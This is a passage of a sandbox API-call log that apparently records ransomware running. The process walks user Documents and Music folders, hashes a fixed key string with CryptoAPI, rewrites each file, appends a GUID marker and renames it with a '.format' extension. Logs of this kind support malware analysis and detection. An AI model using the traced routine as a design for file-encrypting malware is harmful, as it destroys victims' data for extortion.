lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.348] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.348] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xe04, lpOverlapped=0x0) returned 1 [0068.348] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.348] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.348] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.349] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.349] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.349] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.349] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.349] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.349] GetLastError () returned 0x0 [0068.349] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.349] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.350] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.350] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.350] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.350] CloseHandle (hObject=0x5c8) returned 1 [0068.350] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\QRZRxkH5oTlCYK.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\qrzrxkh5otlcyk.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\QRZRxkH5oTlCYK.csv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\qrzrxkh5otlcyk.csv.format")) returned 1 [0068.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.351] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.352] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef74530, ftCreationTime.dwHighDateTime=0x1d4cc18, ftLastAccessTime.dwLowDateTime=0x5665e1d0, ftLastAccessTime.dwHighDateTime=0x1d4d022, ftLastWriteTime.dwLowDateTime=0x5665e1d0, ftLastWriteTime.dwHighDateTime=0x1d4d022, nFileSizeHigh=0x0, nFileSizeLow=0x1a10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="R03C.xlsx", cAlternateFileName="R03C~1.XLS")) returned 1 [0068.352] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\R03C.xlsx") returned=".xlsx" [0068.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\R03C.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\r03c.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.352] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=6672) returned 1 [0068.352] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.354] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x19ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.355] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.355] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1a10, lpOverlapped=0x0) returned 1 [0068.355] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.355] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.355] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.355] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.356] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.356] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.356] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.356] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.356] GetLastError () returned 0x0 [0068.356] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.356] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.356] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1a10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.357] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.357] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.357] CloseHandle (hObject=0x5c8) returned 1 [0068.357] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\R03C.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\r03c.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\R03C.xlsx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\r03c.xlsx.format")) returned 1 [0068.358] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.358] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.359] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.359] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e0d280, ftCreationTime.dwHighDateTime=0x1d4d52d, ftLastAccessTime.dwLowDateTime=0xdb7a0e10, ftLastAccessTime.dwHighDateTime=0x1d4d57b, ftLastWriteTime.dwLowDateTime=0xdb7a0e10, ftLastWriteTime.dwHighDateTime=0x1d4d57b, nFileSizeHigh=0x0, nFileSizeLow=0xb1c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vklleNEl.odp", cAlternateFileName="")) returned 1 [0068.359] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vklleNEl.odp") returned=".odp" [0068.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vklleNEl.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkllenel.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.359] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=45505) returned 1 [0068.359] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.361] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xb19b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.361] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.362] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xb1c1, lpOverlapped=0x0) returned 1 [0068.363] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.363] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.363] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.363] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.363] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.363] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.363] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.363] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.363] GetLastError () returned 0x0 [0068.363] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.364] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.364] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xb1c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.364] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.364] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.364] CloseHandle (hObject=0x5c8) returned 1 [0068.365] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vklleNEl.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkllenel.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vklleNEl.odp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkllenel.odp.format")) returned 1 [0068.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.365] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.367] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8177250, ftCreationTime.dwHighDateTime=0x1d4ccda, ftLastAccessTime.dwLowDateTime=0xebe94640, ftLastAccessTime.dwHighDateTime=0x1d4d584, ftLastWriteTime.dwLowDateTime=0xebe94640, ftLastWriteTime.dwHighDateTime=0x1d4d584, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vKwwSOkmDf1R", cAlternateFileName="VKWWSO~1")) returned 1 [0068.367] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8177250, ftCreationTime.dwHighDateTime=0x1d4ccda, ftLastAccessTime.dwLowDateTime=0xebe94640, ftLastAccessTime.dwHighDateTime=0x1d4d584, ftLastWriteTime.dwLowDateTime=0xebe94640, ftLastWriteTime.dwHighDateTime=0x1d4d584, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vKwwSOkmDf1R", cAlternateFileName="VKWWSO~1")) returned 0 [0068.367] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.367] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.367] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.367] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\") returned="3m1P\\" [0068.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.367] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\") returned="c8v-4o\\" [0068.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.367] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0068.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0068.368] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0068.368] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.368] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.368] PathFindFileNameW (pszPath="") returned="" [0068.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.368] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5c41760, ftCreationTime.dwHighDateTime=0x1d4c5ab, ftLastAccessTime.dwLowDateTime=0xb5fc6ff0, ftLastAccessTime.dwHighDateTime=0x1d4c5fb, ftLastWriteTime.dwLowDateTime=0xb5fc6ff0, ftLastWriteTime.dwHighDateTime=0x1d4c5fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.373] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5c41760, ftCreationTime.dwHighDateTime=0x1d4c5ab, ftLastAccessTime.dwLowDateTime=0xb5fc6ff0, ftLastAccessTime.dwHighDateTime=0x1d4c5fb, ftLastWriteTime.dwLowDateTime=0xb5fc6ff0, ftLastWriteTime.dwHighDateTime=0x1d4c5fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.373] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58987b80, ftCreationTime.dwHighDateTime=0x1d4ca8b, ftLastAccessTime.dwLowDateTime=0x93013e50, ftLastAccessTime.dwHighDateTime=0x1d4cc71, ftLastWriteTime.dwLowDateTime=0x93013e50, ftLastWriteTime.dwHighDateTime=0x1d4cc71, nFileSizeHigh=0x0, nFileSizeLow=0x5c69, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Y-dBAy6zx3RY.m4a", cAlternateFileName="5Y-DBA~1.M4A")) returned 1 [0068.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0068.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.373] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\5Y-dBAy6zx3RY.m4a") returned=".m4a" [0068.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\5Y-dBAy6zx3RY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\5y-dbay6zx3ry.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.373] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=23657) returned 1 [0068.373] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.376] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5c43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.376] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.376] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.376] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x5c69, lpOverlapped=0x0) returned 1 [0068.377] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.377] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.377] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.377] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.377] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.378] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.378] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.378] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.378] GetLastError () returned 0x0 [0068.378] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.378] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x5c70) returned 0x32b2f40 [0068.378] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.378] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x5c64, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x5c64, lpOverlapped=0x0) returned 1 [0068.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.378] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5c69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.378] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.379] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.379] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.379] CloseHandle (hObject=0x5c8) returned 1 [0068.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a28f8 [0068.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0068.380] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a28f8 | out: hHeap=0x5d0000) returned 1 [0068.380] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\5Y-dBAy6zx3RY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\5y-dbay6zx3ry.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\5Y-dBAy6zx3RY.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\5y-dbay6zx3ry.m4a.format")) returned 1 [0068.381] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.381] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.382] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, 